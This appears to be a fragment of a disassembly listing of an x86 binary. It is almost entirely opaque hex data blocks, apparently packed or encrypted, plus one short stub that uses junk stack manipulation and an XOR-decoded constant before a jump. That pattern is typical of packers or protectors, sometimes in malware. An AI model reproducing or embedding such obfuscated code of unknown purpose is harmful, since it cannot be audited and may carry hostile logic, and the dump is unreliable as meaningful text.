0A75F37E3h, 3EF225F2h, 3C60089Ah, 54631C8Ch, 0E171E273h dd 0D764DB7Fh, 0FDCAA24Eh, 0A95D25F2h, 2ED3D585h, 0FE24FC9Ch dd 805425F2h, 0F125F30Dh, 41CA4346h, 0D340CB8h, 13C725F3h dd 0EE4E53EFh, 47FB1C0Fh, 3AF38B5h, 2C122F2Bh, 4AE60ABEh dd 2C122F76h, 0BA815DDCh, 355CEFFh, 0BC376E2Eh, 0E07216E9h dd 0F486792Ch, 0EB84A84Ch, 25h, 47F37C78h, 1FD3A16Fh, 9B664202h dd 0B780D3F7h, 8F21E0C6h, 1ECA43E7h, 15F0851Dh, 5D7C0EC2h dd 0Eh, 95A2E6h, 0A8BADB87h, 0AB5F15F0h, 0F37CB219h, 0D3A16F47h dd 2A4E021Fh, 6BD22D7Ah, 9D68622h, 1366851Bh, 82000006h dd 9C60D72Ah, 0BB7FF609h, 0D79B12EFh, 0F2B62DD2h, 8AD64DB4h dd 28D9CDD0h, 49C6EDB1h, 679A0ED2h, 847B2CF0h, 1FCB440Dh dd 19AD8547h, 0A22FA2DAh, 0FE870095h, 0D3A17A52h, 4D3F201Fh dd 59041BBBh, 0CF486C20h, 0EFD0EE23h, 0DA053B15h, 0CACD98F7h dd 7A871FCFh, 0E31C40E8h, 27B8423h, 0F1AD7E56h, 0B95D1125h dd 0CB347327h, 0A94FA454h, 73C23CBAh, 0F740A71Eh, 4C6D1992h dd 0B14359EFh, 0EEA47C28h, 0E9C0535Bh, 0A3DC8416h, 0DE92CBEFh dd 0F20D984Ch, 6223147Bh, 9C15B948h, 78CFEBF0h, 52E49849h dd 0C8A04CD5h, 6E597B0Fh, 0DCD30A97h, 0EFA3DC3Bh, 265B2FCBh dd 42C1597Bh, 0C3DA9F9Ch, 0F8F336CCh, 80000000h, 870095A2h dd 0F0A8A6DBh, 7333F315h, 3054FC8Eh, 0FDB143F7h, 51DE55AAh dd 55E71891h, 0CED989ADh, 0AAFF9F31h, 6A3CBBA3h, 955503DBh dd 17C7EB14h, 34F86F90h, 8A138C73h, 8824DBCAh, 4D3DE2B0h dd 0EC25DCCCh, 0E2821438h, 6406DE8Dh, 899846C5h, 0DD6AE11Eh dd 1DD0A854h, 59767489h, 0D5D81D15h, 0CBEFA3DCh, 0E1738C1Bh dd 6BE4A98Ah, 890D07BFh, 25D15A74h, 74890C4Dh, 0CF082CE0h dd 0FA3DA41Bh, 0E1721E97h, 666AA621h, 3B6C20B2h, 1E894DC4h dd 49D24FE1h, 0A821C59Dh, 80A4587Ah, 0A82234E4h, 0FBE3627Ah dd 73A98126h, 0C5311625h, 936B07FEh, 267AA7E3h, 0A757CE72h dd 0E65BDD71h, 0AEC44BEAh, 0D3534AFBh, 7236AD51h, 9838CA35h dd 64C37590h, 0EA37A736h, 7CB42BDh, 76CD5FA0h, 0CA53CCC1h dd 0D2649B0Ah, 16A062Ah, 766B60A0h, 6E12FDB6h, 40C8F7h dd 0A2510000h, 0A77F2B95h, 3A1FD3A1h, 0BD69E286h, 15F085BCh dd 4A9CEB21h, 0BE4420DAh, 1BAD619Ah, 4AC13E67h, 83235210h dd 8B1DE2C3h, 0C76CBFE3h, 0BD9D49C2h, 2025F336h, 25B74A60h dd 6C20597Dh, 62457FF6h, 78BF269Dh, 0DFF09C15h, 6415F08Fh dd 317737B0h, 139559D0h, 0CE956D19h, 0F4B125F2h, 0F81ED20Bh dd 0E6001E78h, 0CE600407h, 54CDC077h, 1030D7A8h, 16A85C1Ch dd 1240A276h, 782DED2Ch, 294DF587h, 0B32C61D6h, 2F210207h dd 69FBAF22h, 847B2CECh, 8A264AF2h, 323160B6h, 0FA419D1Ch dd 1D36FDBFh, 184Eh, 95A2DB00h, 0E0C78700h, 0D682FB1Fh dd 15F085D5h, 1534C67Ah, 28h, 95A29Eh, 0C975FE87h, 1FD3A1F1h dd 10ACD084h, 15F0A7EFh, 3167E094h, 27585992h, 0CDF0333Bh dd 0A3C8DA00h, 0C930C2E6h, 369D6245h, 9D68679h, 632746DCh dd 0D2000003h, 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h dd 0DA269D64h, 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h dd 6F1B945Dh, 19AD8297h, 457FF22Ah, 570B9D62h, 0D138AF50h dd 0FEAA2366h, 15F0A9E9h, 0CF327636h, 0F3B272ABh, 50507A0Ch dd 7AC5D855h, 0FD8F33D7h, 0F35D895Dh, 6E70EF25h, 74FC8CCDh dd 582109h, 0A2AE0000h, 0A78C7E95h, 8F17EBE8h, 43BF0E3Bh dd 5505A9A8h, 8F08AC55h, 0F07A3EE3h, 7622AB15h, 25F2BA9Eh dd 0BB577D31h, 7C54BF8Eh, 83377094h, 0FDD5810Ah, 9025F366h dd 69B4B6DCh, 170AD540h, 0EDC161F3h, 5325F34Dh, 68310AD4h dd 850974E8h, 0E7h, 946B3CFCh, 62450D70h, 4F570B9Dh, 710339B2h dd 8B04FDF3h, 7E32C4E8h, 9D5DD629h, 0CE7AF30Ch, 1FD2F7F6h dd 1FB1D589h, 42EE3C6Bh, 1FD2F76Ah, 2EA549FDh, 0D2FC8F7Eh dd 0A69ED41Fh, 139D421Dh, 0A007B7DBh, 0B706DE8Ah, 0E5991FD2h dd 0A106CA41h, 0B705DD89h, 0E4981FD2h, 0E057AE40h, 5F8834ADh dd 0D415EFCBh, 0F542A920h, 0CA471FCBh, 26DA25F1h, 5D490982h dd 466A12A4h dd 0FBB44CDh, 25F1CA37h, 56F216CAh, 1C133A7Bh, 0EC0CA2D8h dd 0A5C797A8h, 0CE124881h, 1E6C4AC6h, 8D4DC66Ah, 0AD71E819h dd 88A108F9h, 3DFA16DAh, 1FC88A7h, 416B0000h, 208549C0h dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119AD81h dd 61451689h, 426529A0h, 0A2CF46BDh, 9A4C7E95h, 86397428h dd 0AAE069E2h, 75D27016h, 5E0A8330h, 1FD32086h, 0A5416519h dd 15F00000h, 6038E46Dh, 0F325F23Fh, 0E78B7433h, 0DBCA8AC3h dd 69159224h, 25F23F91h, 28CC7024h, 3AE31996h, 6139E5A6h dd 0F425F1BCh, 0E8ED1A40h, 774BE70Bh, 0DD25F1EFh, 0FEBB805Eh dd 0F09750Eh, 0CEh, 47F37C9Ch, 1FD3A16Fh, 7A2A4E02h, 8C40D22Dh dd 0B555E71Ah, 1FD3A6C6h, 0B52CD3D4h, 0D049B6F1h, 0A6C39B47h dd 0A2561FD3h, 0A295EC7Eh, 8A4076EFh, 3BC6E4F4h, 0A51B9715h dd 2B734F7Fh, 1438C138h, 30C6EF9Bh, 3BFB15F1h, 3871956Ah dd 91A60D84h, 97D783FCh, 3A1C149Dh, 594D0D86h, 1BA431A8h dd 14DC976Fh, 52762A2Ch, 96FD04A2h, 0FA6841ADh, 0EB739228h dd 5A000000h, 7438AF52h, 9357CE31h, 0AF73EA17h, 0CA8E05FAh dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h dd 0F7A31CE5h, 19AD811Fh, 45077AB2h, 471FCB61h, 0DA1FD3A1h dd 2901AD26h, 0BC1FD3A2h, 29ED6408h, 7D0A817Eh, 0B8CCC247h dd 0F5A50D57h, 15BD4FB0h, 62458EF1h, 50570B9Dh, 337636AFh dd 0CA31A8CCh, 79AF286Dh, 0B59022CAh, 0FB293505h, 0F248052Bh dd 630F88ACh, 15F8F04Ch, 0E79B2DE1h, 4C83FC0h, 0B22FDAA3h dd 0BB0F3D4Bh, 0A3E58517h, 81D27769h, 7235ECF2h, 0A8340CB8h dd 13C75279h, 0A916EE9Ah, 0F5A95279h, 9116DA51h, 8128DC6Eh dd 6E45057Eh, 43670FA1h, 3EA01FB1h, 0B54C5A1Ah, 39C6E191h dd 58A700C0h, 9D0BD132h, 4A6EC34Eh, 67980FD3h, 0E1B965EEh dd 0FD5279CFh, 6A1E57A8h, 395B446h, 1E000000h, 674540A7h dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5386A234h, 0C381E389h dd 4, 4BF57h, 0FB290000h, 241C875Fh db 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 7DF6h mov [esp], edi push eax mov eax, 344576AEh mov ecx, 36F31573h xor ecx, eax pop eax xor ecx, 49074CBh push esp mov edi, [esp] add esp, 4 push eax mov eax, 8 add eax, edi mov [eax], ecx mov eax, [esp] add esp, 4 mov edi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov ecx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_535A7A ; --------------------------------------------------------------------------- db 50h dd 357576B0h, 0FBB82289h, 3062622h, 97E0FFC5h, 466F81A4h dd 6C4312D8h, 0AB3A5327h, 944DB356h, 5E2404CEh, 0A3F452Bh dd 7C73AA99h, 0A41D566Bh, 0C74B1389h, 2B155662h, 937F6B05h dd 7C4C3849h, 9F5AE16Eh, 344BFB2h, 780488B5h, 5D2B571Ah dd 2E3D8FFCh, 0E37A811Eh, 503CB4E0h, 4C290A52h, 197DF265h dd 7346284h, 0EB4AAEE3h, 1E343704h, 569E90Fh, 65470000h dd 4461259Ch, 2A8044BBh, 0D9C60D7h, 0EFB77BF2h, 954F9B12h dd 74EB1690h, 950C03B0h, 0B32AD7D1h, 0D047B8EFh, 0AE28E07h dd 9D19AD7Fh, 0A753DC65h, 19AD7ECFh, 0FA05A262h, 45CF3256h dd 0EE249D62h, 572C5F28h, 0E41D8926h, 0E206AA52h, 0F70A9C50h dd 14EBBC80h, 51D9CE82h, 0D38BCDA5h, 8AC601Fh, 1CE3C276h dd 0B0DDD68Ah, 0F8A82B20h, 0CC5E02CAh, 0DD6F9218h, 7D83F1B3h dd 0F1F70FF5h, 0ABB17C62h, 11E9951Eh, 0A41FD2B3h, 8D51CCF0h dd 75EC1394h, 910AF7B1h, 469D285Bh, 89AD694Fh, 0A75A4E12h dd 0BD526115h, 0CF30772Bh, 0E021893Dh, 0F40B9A4Eh, 6FB22CB7h dd 9624C839h, 0B0515919h, 0D752761Eh, 738E1A07h, 0AFEAC4FAh dd 0B341A86h, 0D317875Fh, 0C2661A1Fh, 4463279Eh, 7305FAAFh dd 0F59527CBh, 1FD31820h, 8BB02EB9h, 0F09436CEh, 74DFh dd 62456C00h, 996B0B9Dh, 301FD3A1h, 9B0371A7h, 8719F6BDh dd 0B7DFB9DFh, 607EF91Dh, 94BB9EDBh, 1B8F4FF0h, 88AC54E6h dd 1EFh, 0BC7C7C00h, 42F216E9h, 9A239C63h, 0D3A216EEh dd 0D1F5A91Fh, 0E51A8B3Fh, 0F8FBAC6Ch, 1CAE52ADh, 2FC14068h dd 2DBFE387h, 3DCF3079h, 0E73AA433h, 8C841BEh, 25CD5FA2h dd 0A9CD3275h, 44396E32h, 17C83028h, 4AC1655Ah, 0A06145D3h dd 1AF29E27h, 0AD1FD3A2h, 8F43D5F9h, 0A357E916h, 43BCED06h dd 4F590D9Fh, 54DF20B2h, 0ED12978Ah, 904EC949h, 75EC1591h dd 7709F6B1h, 926D3AFAh, 7A325800h, 0D7A1F6F0h, 47631337h dd 808125E5h, 0D2AA46EEh, 651FD2CAh, 58FC05A5h, 3B6E22B4h dd 297E32C4h, 5B1A44D6h, 651FD76Ch, 0D608979Dh, 647AF957h dd 94F2F2D7h, 763BF0h, 45C80000h, 0EF129461h, 7F11B55Dh dd 0F5CD7902h, 881FD3A1h, 0AA00B0D4h, 2CBBC557h, 0BE376FB2h dd 0FD761AF5h, 717A85C7h, 0CFF36AE9h, 0EF129458h, 0FF00A95Dh dd 528C0B6Dh, 94F0E0E9h, 5E4DF0h, 45DA0000h, 0B8021E61h dd 7C917EA6h, 0D35B4756h, 2BCFCEC1h, 3EC3E599h, 0DE6DACh dd 71A78521h, 0E217EE53h, 865EFA00h, 0D91FD345h, 0D345552Dh dd 0FB34E81Fh, 0B52CA347h, 0D9F6045h, 0D3A1986Dh, 38A6311Fh dd 94BCB603h, 42EE77F0h, 1FD3AD6Ah, 7F2EFB10h, 0E4777A1h dd 19D365Ah, 2A000000h, 23906545h, 0EB25AECh, 20DFC87Ch dd 33C0E7A7h, 0C2E68A77h, 0D52C7C30h, 111B8F43h, 0D3A18D65h dd 0C86C201Fh, 746AF536h, 7204FDADh, 199826CAh, 0D6D393C5h dd 55550529h, 69CE35ACh, 7775AB24h, 28E00322h, 0EADCEA10h dd 0D7DBC598h, 2D8E3AB3h, 0D215EFDCh, 697EC99Ch, 0D87C2040h dd 0EA159246h, 7F8AF73h, 0C36FF875h, 25F285EBh, 0AA6CA7Eh dd 25F28538h, 0F7FE34C1h, 0EEC2731Bh, 0F1B9913Dh, 984C25F1h dd 8955D0F4h, 6F1B0F98h, 25F1F197h, 7A0CF5B3h, 41E599D2h dd 5EA106CAh, 708F18CCh, 0FFDF5ADEh, 376E8522h, 0EA8E36C8h dd 0CF0C973h, 2A1D0975h, 94000001h, 8124DFD4h, 0A048DA7Eh dd 95A2197Ch, 3D518700h, 91903DB9h, 15698752h, 0B58C37EFh dd 0A76C1891h, 5415F029h, 4D5A0EA0h, 30773BB2h, 1E893DCFh dd 50CB4FE1h, 0EB14938Eh, 8327E774h, 24C83772h, 0C42F6A00h dd 36BE0975h, 4B000000h, 0B4F293A2h, 6F13BB4Dh, 0A2E24AF6h dd 0A1551FD3h, 0A1976F0Fh, 9B261FD3h, 97FA3B43h, 0A30A721Eh dd 7D3D1FD3h, 7AB3D728h, 2C24FC6h, 1F3A5EB1h, 0A9h, 0BDF37CA8h dd 7B7011F2h, 0DE581F2h, 291FD2EEh, 49F1837Ch, 0E5385C10h dd 90C63F52h, 0F7CF4E4Bh, 58D1F511h, 0F00E23ACh, 52E49815h dd 0BDEA099Eh, 6408B042h, 817E29EDh, 0E804FEFh, 740325F2h dd 3AF0B76Ah, 0F20EB68Eh, 0F1954925h, 0FE214278h, 1CCB1ECDh dd 0AEB13531h, 0E60AAE41h, 5A2F086Fh, 706C35E1h, 2DE11C18h dd 3FC0E79Bh, 429C1BADh, 6814FB3Ch, 880E8B0h, 941D963Ah dd 18F610E8h, 857C2C2Ch, 0E41B8C4Ch, 0F7A31C40h, 223EDA2Eh dd 0FF10A363h, 77EEA2DBh, 0C692B4EAh, 2371075Eh, 0EE1451E4h dd 4C70526Ah, 95A2E9h, 8612DB87h, 0D38715F9h, 210F245Ah dd 0F3BFC1ABh, 0FB749B6h, 1B5476Bh, 1EE259A6h, 1DF5A189h dd 0B025FA23h, 3B77D6FCh, 54F7A403h, 7B7E1EB0h, 5B1711C9h dd 980F12CCh, 7B2CF067h, 6B3EF284h, 0F1700294h, 8C7334EDh dd 0A9565115h, 0AF817h, 7C810000h, 8113EEBCh, 67B5D9h dd 89A6745h, 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 5D545586h dd 4C581h, 0ED830000h, 242C8704h, 2752685Ch, 14890000h dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 56242C89h dd 2623FEBEh, 8BF28906h, 0C4812434h, 4, 1C4C68h, 24248900h dd 4240481h, 5D000000h, 1DBA5252h, 296B873Ch, 5A042454h dd 8108458Fh, 3C1D0845h, 34FF6B87h, 0C4835D24h, 24148B04h dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFF95422h dd 4C1E854h, 0B8F41A34h, 62628D9h, 0E0FFC503h, 561DCCE5h dd 1232FAh, 79EE12F5h, 0F562AD2h, 1FCABBD4h, 2A996B5Eh dd 20BF59CAh, 33977522h, 538ED887h, 15A10E60h, 6DE9FFA6h dd 2DC6A1CAh, 25584D1Ah, 14BFEDAAh, 7C1EE413h, 23222DBFh dd 60E21305h, 54171139h, 57413773h, 330FAB19h, 3386F81Ch dd 84F804EBh, 12E90854h, 76000005h, 9054CB36h, 0AF73EA15h dd 0CB8F06FBh, 0E6AA21DEh, 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h dd 5BA602C6h, 788720E4h, 13BF3801h, 19AD783Bh, 4D0D96CEh dd 2285A966h, 0B9D6245h, 0FFA64F57h, 22C66E00h, 3FC0E7ABh dd 377030ADh, 6A8E36C8h, 8012EDBAh, 3A36CD03h, 0A85D35E1h dd 3CF01FD2h, 34652616h, 0BA456010h, 8911E28h, 0D34B845Ch dd 0B363171Fh, 0D47C0EF3h, 78A935B0h, 9559D02Fh, 0B377EE13h dd 0C67A0CF5h, 0FE9022EDh, 744CF881h, 71FD34Bh, 647FE6D1h dd 0F69AE718h, 9A8757D2h, 0B87CF30Eh, 0DE7E10EFh, 1FD2CB09h dd 74C717A2h, 0F0946B25h, 45C8h, 62455500h, 996B0B9Dh dd 301FD3A1h, 0B70239A5h, 56F094BCh, 1, 9F6045E3h, 314C590Dh dd 853E8CBCh, 0C63FE37Eh, 92211690h, 7DA18A93h, 8D7237EBh dd 7C62F1FBh, 88FF00A5h, 97783BFBh, 1BE4C373h, 61452DA4h dd 7E15FA1Eh, 1EC2C624h, 3DC2E5A5h, 0D2D38719h, 27B8421h dd 0D2F97E56h, 0B95D111Fh, 0CC357327h, 0E01F863Ah, 5C820D4Eh dd 8D651D1h, 41688D19h, 0B4C0343Ch, 8C303022h, 0FAAD71E8h dd 0EBBF7305h, 0A3228416h, 0C8C9003Bh, 0A664F094h, 0DB000000h dd 0C3738C1Bh, 92F519E6h, 0EA06145h, 2AD7D191h, 0AD545606h dd 0C041671Bh, 0D1307A2Eh, 38A6353Fh, 0AE40C1E9h, 0CD5C6206h dd 5F961011h, 9E15B946h, 0BC35CCDAh, 0A1AF8733h, 0E8CB1FD3h dd 163AEE27h, 26D9D084h, 0A07824ADh, 331FD3A1h, 15C95B7Fh dd 2BDF719Eh, 0E5EF817Eh, 24D08856h, 1FD3A14Ch, 29872BDFh dd 0C20734AAh, 6BF094BAh dd 5Bh, 0EBBC7CF8h, 2ADA8214h, 47EF8180h, 0CE337323h, 0C20883Ch dd 0D3A18860h, 0C3671B1Fh, 0E1208A4Ah, 0F183A74Fh, 66BB23B2h dd 0BD4AC140h, 9410E687h, 86AA36A8h, 9F604523h, 5B07900Dh dd 1FD3A183h, 0A23E6216h, 1FD3A1CDh, 3803DB66h, 0F094BC61h dd 68Ch, 67430300h, 7C13769Ah, 19CA5D46h, 97BB45A1h, 0AC3EC3E7h dd 6644AFF8h, 0B165F79Bh, 0C77B0D02h, 719E15DEh, 19337DFh dd 0B77668F7h, 0ED34AA29h, 40CD44BDh, 0D7D03380h, 4AF28428h dd 3164D326h, 9DAB0CB8h, 9C5015F0h, 0AE51560Ah, 0DE01FF35h dd 2B628965h, 0DBCC9007h, 55159224h, 0EE8AAE53h, 25F2461Ch dd 59C816A5h, 763AB14Eh, 883CCE31h, 0CA4EE01Fh, 40C98F4Fh dd 0F245BC94h, 779B4F25h, 0C09DE0C7h, 38A8620Fh, 812BA246h dd 9753A38h, 133D5h, 1D8C4C00h, 27D350E2h, 25F2274Fh, 668A2EE2h dd 95A203h, 0B73F5187h, 0B0A1673Bh, 0D3952C04h, 670BBF1Fh dd 7D0FF0B7h, 0AF38B1D5h, 2145BAEFh, 0F0AAC085h, 27B96D15h dd 54CB3473h, 56E81790h, 718E19D9h, 631337DFh, 0C42BB44h dd 223D0FBDh, 1DC942E7h, 25F2E945h, 6E0024D8h, 0B26F6FEAh dd 0E9930AF5h, 9740490h, 3B3Dh, 0BC7CCA00h, 456313EEh dd 0F04598BCh, 147C28A1h, 871FD3A3h, 4C441D3h, 0A03C60AFh dd 1FD3A1C8h, 4612CC57h, 50E22D86h, 43184A8h, 0F8600C85h dd 6B1FD3A2h, 8D1140B7h, 9A000000h, 870095A2h, 0F0BB52DBh dd 9A13C715h, 0D31D0DAh, 6A3EFE7Bh, 395D0597h, 6AE11E89h dd 85FE01A6h, 0BB7850FCh, 570B25F2h, 3201A133h, 0B525F2BDh dd 0EA426828h, 0F2BC663Eh, 0A145F925h, 0C843670Fh, 639C0B16h dd 0DFB285ECh, 0A7A4BA66h, 83371C18h, 0F6B474F1h, 0E6B28A36h dd 91452C18h, 0FEA75BEDh, 23C76F01h, 9B584FFFh, 3FC0E70Ch dd 0CF6105ADh, 5FF18327h, 0B780FEE0h, 97AD59D2h, 2A223ED1h dd 3C72FF76h, 6DD18211h, 0E84B6F1Fh, 870095A2h, 0F98CC5DBh dd 12A45815h, 3FB6495Eh, 41D32C7Bh, 0CA386BA1h, 1BA43133h dd 6C77976Fh, 52762A34h, 915107D7h, 0AD55E718h, 31CED989h dd 0F8A42DBAh, 346C7820h, 0ED8F7DB3h, 8AB64AEBh, 9512C2E6h dd 8524D86Ah, 0FECB017Ah, 0CAEB7C86h, 0C153E509h, 0FCBC9C42h dd 833357AAh, 27D8CF24h, 0D249ED95h, 0D466990Eh, 0FB5h dd 467C3E00h, 8F1D8E59h, 0FC05A1FAh, 7FE63458h, 89A6745h dd 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h dd 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 245A6886h, 4890000h dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243C89h dd 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h, 68535124h dd 5D13350h, 0C1E3D15Bh, 0F38106E3h, 9834B996h, 495BD989h dd 6B3BF181h, 0C1812656h, 1B370FA7h, 9BF18149h, 897414A3h dd 8B5459CFh, 0C481241Ch, 4, 8B951h, 0D9010000h, 59018F57h dd 5B2434FFh, 0FF04C483h, 815F2434h, 4C4h, 4EACE900h, 8A29FFF9h dd 0B1B891Ch, 0D95D05ABh, 2E49B899h, 0C5030626h, 25AAE0FFh dd 8C7B06C2h, 0FD37100Ah, 0DEA04D03h, 8114F3Bh, 7CB031BCh dd 8411452h, 2F731E04h, 93213959h, 23DF3FE4h, 17706BFh dd 33D3653h, 6D62596h, 8F33C2Eh, 0B0826B66h, 0E713E21h dd 33DF515Bh, 31471103h, 0E04E4B85h, 0B2D16D6Fh, 50932EFh dd 0E05419D4h, 883D447Ch, 75A55D9Ch, 0F5FD4139h, 67771DAEh dd 754B484Ah, 665C5D56h, 0CD00332Eh, 8D8D7549h, 6263058h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 72C35040h dd 0D49FB709h, 6614D235h, 89EF3BBAh, 1F0B5D8Dh, 50006A06h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 921B59Bh, 8766BC04h, 20C585C7h, 6FE0061Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0C73CADC3h, 1F137D85h, 6, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 3A56A39Bh dd 8B66DFB2h, 29B5FFD6h, 6A061F0Dh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CB4AC355h dd 2D5995FFh, 820F061Fh, 6, 5FB2D681h, 0EE94642h, 10000000h dd 11C3201Bh, 20103851h, 30B83FAEh, 0FF006AFCh, 1F1D4595h dd 0EBC08B06h, 99E5793Ah, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h dd 79DA8DBAh, 427D973h, 0AD7873C2h, 98A0E8EDh, 0D16D4F9Fh dd 0D49B9EAEh, 1D6DE361h, 0EA924018h, 28516132h, 3C99616Ah dd 0EB58C6FAh, 0FCD6A04h, 5C9E944h, 9A30000h, 0E8BD81F8h dd 0CEDCA017h, 0B1F8BC33h, 9313D74Eh, 0F1ABF76Eh, 0D047BAECh dd 0F168A70Ch, 0F867B2Dh, 2CA35C4Bh, 663EEA63h, 0F919AD71h dd 62454EC1h, 4F570B9Dh, 0CDA29330h, 7FFD23DCh, 62D97D65h dd 7DE9FD5h, 0D42F545Ch, 45538AC7h, 8BAF5389h, 0A133CCDBh dd 0CC45BAEDh, 0B0BF9743h, 0CFDB1FD2h, 9545F932h, 0B65EF011h dd 594C0092h, 496014A6h, 387024B6h, 0DF8F37C9h, 9CA638C9h dd 565CD10Dh, 9D0A17C7h, 8127EB62h, 63450980h, 0ABEF259Eh dd 7EC7AF31h, 0D24FE105h, 5355D79Ch, 4266F656h, 5CEE2192h dd 0BEF500A8h, 7317BF51h, 857A2DE1h, 845AE9F3h, 429C1BA9h dd 0B1B6C9DFh, 0F3C24575h, 53178E32h, 7919AB54h, 1FD2E6A4h dd 2C2CB23Dh, 5A261EF6h, 0F2167898h, 94FA1D5Ch, 7CB0F0h dd 453D0000h, 441CC862h, 0D71FD3A1h, 0A1CAA24Eh, 0A95D1FD3h dd 2FCF6105h, 1FD3A15Dh, 0C67569F4h, 0F094BCF3h, 0FC09043Ah dd 461CB669h, 18922h, 45160000h, 590D9F60h, 2FFA74Ch, 0ADA2C870h dd 4C9E4929h, 0F4A83ADEh, 9BD14AB5h, 0E5724CF4h, 3DCFF384h dd 4DDF2089h, 0C2E80D99h, 0CA099B3Fh, 848AA33Bh, 0EAC26EF7h dd 7D1FD33Dh, 8416EBBDh, 991438DCh, 36C9DC45h, 53ACFBBFh dd 614565DCh, 4B5A0EA0h, 239E22B4h, 0C14066BBh, 0A8FDBD4Ah dd 0F91DC557h, 0FA15E49h, 20B24F5Bh, 9C9F3FBEh, 0F094BAADh dd 6E00h, 61458D00h, 505A0EA0h, 86151FB1h, 24DDC958h, 476020ADh dd 0C2E494B8h, 0B0F9AD3Fh, 0C9E6343h, 7A2EC064h, 9044D639h dd 0C254E619h, 34929B43h, 371229B5h, 76F094BAh, 59h, 1E614503h dd 615D3AD9h, 0CD327778h, 3FF38529h, 52069869h, 0F70AA053h dd 8719BD65h, 9B2DD2D3h, 17D65371h, 0EEF409E4h, 73AE7F5Fh dd 7F27FAE4h, 45940B82h, 6D0D9F60h, 1FD3A198h, 0AAFDF8AEh dd 6B1FB155h, 0A234C63Bh, 4572BB23h, 421724BAh, 6BF094BCh dd 1, 906545F8h, 0B3BE6419h, 0DCAD9EBAh, 0E51B9438h, 941ACD18h dd 0E01F86D8h, 0DE02A64Eh, 0F00F984Ch, 5FCAA5Eh, 19E6BF73h dd 0F0EE7D87h, 0AE30AF3Dh, 0BFF53773h, 7DAC61Ch, 3109A5E4h dd 0C41FD2FCh, 0B95DA404h, 379E15h, 768148Dh, 6C15F012h dd 53A58736h, 8FB58227h, 8C2AEDACh, 6DA6CA7Eh, 347327B9h dd 179054CBh, 30470466h, 0E0840346h, 9511D14Eh, 17BB4660h dd 1DB9DD85h, 25F1D64Bh, 238747D4h, 0D6855D09h, 641825F1h dd 62862EC0h, 0A161F7E7h, 4BC4EF04h, 0D4D383A7h, 9E27B42Bh dd 0D6916915h, 702425F1h, 0F1D6FCD4h, 0B7DB8F25h, 0CD5FA007h dd 0E6199050h, 6A9512C2h, 5D954D8h, 21F28B1Ch, 0CE7E2DA1h dd 0B963DA7Eh, 97552E0h, 1830Dh, 95A29A00h, 16DB8700h dd 0C315F0B7h, 0CA5CA503h, 0C9387222h, 72EB8F37h, 1A02B3E9h dd 0AA2320D0h, 0F38F360Eh, 0F115C925h, 3FCAB5Fh, 25DCCA8Ah dd 50C7EB93h, 52E41B8Ch, 7521099Eh, 25F38F9Dh, 46D87C30h dd 0C19747C2h, 664DA601h, 0CB6F17A9h, 0EB6B9139h, 4DA0671Fh dd 23843458h, 82D63DCh, 6619CA17h, 0FA8DFA15h, 5D236BD4h dd 0F014B849h, 0C68ACF79h, 4C230974h, 0B0000000h, 85FE93A2h dd 0A17850FCh, 4B0B1FD3h, 6C14A65Bh, 0A22BA4C8h, 0C8F5886Ch dd 0E60A18F0h, 0D380E24Ah, 0FA1551Fh, 0D37F976Fh, 439B261Fh dd 1D8BFA3Bh, 29D552E4h, 1FD37F51h, 0E88C30E4h, 815BC36Fh dd 1ACE1FD3h, 0BE74A3h, 0A2FD0000h, 0DB870095h, 15F0BB52h dd 0CD8113C7h, 6F9019DAh, 189135DDh, 8DB15058h, 0D5555216h dd 0BBC8A04Ch, 0A75B25F2h, 0F2BB330Bh, 6E12C625h, 2AD65FDCh dd 25F2BB52h, 298131E5h, 7A9E46D8h, 0F2BD0FDEh, 78891D25h dd 8D7432E6h, 0E2FC77FBh, 5D81104Bh, 0FD9AE3C4h, 98E67937h dd 9E6146F6h, 36F683FAh, 1B6E927Dh, 5400791Ch, 1C196D27h dd 0FA464h, 9416C66Eh, 5C10496Dh, 18C44DCAh, 2C19AB40h dd 4BFB1FD3h, 5DF215Ch, 982AD7D1h, 7B56CAF0h, 8C1EB054h dd 8AADD10Dh, 0F0588E07h, 54ABFE1Bh, 74F41AC2h, 0D42B7AECh dd 330BB730h, 0C62C19D0h, 0C975EE12h, 223FC29Ch, 77EE6519h dd 870095A2h, 0F993AEDBh, 0E5772B15h, 12897631h, 0D324594Eh dd 2D655FB5h, 0D04DDF83h, 0D5679A10h, 636D092Dh, 11E02371h dd 0E2C55C82h, 9019A61Dh, 23B10CE4h, 0DBB35F68h, 6E6823B0h dd 0A9CD81BAh, 0D07CAEF9h, 6823B0F8h, 0B25ED78Bh, 6823B0DAh dd 9C15B96Dh, 1236C9DCh, 22DDCC80h, 63D7DC90h, 23B0DFB7h dd 1ABE7268h, 2DD4D488h, 45D7287Dh, 959846C1h, 0CB568807h dd 0E8AC23DCh, 8FAE40BFh, 